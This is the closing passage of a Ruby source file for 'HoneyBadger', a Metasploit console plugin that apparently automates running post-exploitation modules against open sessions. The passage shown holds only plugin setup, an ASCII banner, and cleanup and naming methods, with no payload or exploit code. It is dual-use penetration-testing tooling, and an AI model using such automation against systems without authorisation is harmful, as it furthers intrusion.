| print_error("Could not run post module against sessions #{s}.") 88 | end 89 | end 90 | end 91 | else 92 | print_line(opts.usage) 93 | return 94 | end 95 | end 96 | end 97 | #------------------------------------------------------------------------------------------------- 98 | def initialize(framework, opts) 99 | super 100 | if framework.db and framework.db.active 101 | add_console_dispatcher(HoneyBadgerCommandDispatcher) 102 | 103 | banner = %{%yel 104 | __ __ _______ __ _ _______ __ __ _______ _______ ______ _______ _______ ______ 105 | | | | || || | | || || | | || _ || _ || | | || || _ | 106 | | |_| || _ || |_| || ___|| |_| || |_| || |_| || _ || ___|| ___|| | || 107 | | || | | || || |___ | || || || | | || | __ | |___ | |_||_ 108 | | || |_| || _ || ___||_ _|| _ | | || |_| || || || ___|| __ | 109 | | _ || || | | || |___ | | | |_| || _ || || |_| || |___ | | | | 110 | |__| |__||_______||_| |__||_______| |___| |_______||__| |__||______| |_______||_______||___| |_| 111 | %clr} 112 | print_line banner 113 | print_line "Version 0.1-Dev" 114 | print_line "HoneyBadger plugin loaded." 115 | print_line "by Carlos Perez (carlos.perez[at]trustedsec.com)" 116 | else 117 | print_error("This plugin requires the framework to be connected to a Database!") 118 | end 119 | end 120 | 121 | def cleanup 122 | remove_console_dispatcher('HoneyBadger') 123 | end 124 | 125 | def name 126 | "honeybadger" 127 | end 128 | 129 | def desc 130 | "TrustedSec Metasploit Automation Plugin." 131 | end 132 | 133 | protected 134 | end 135 | end 136 | --------------------------------------------------------------------------------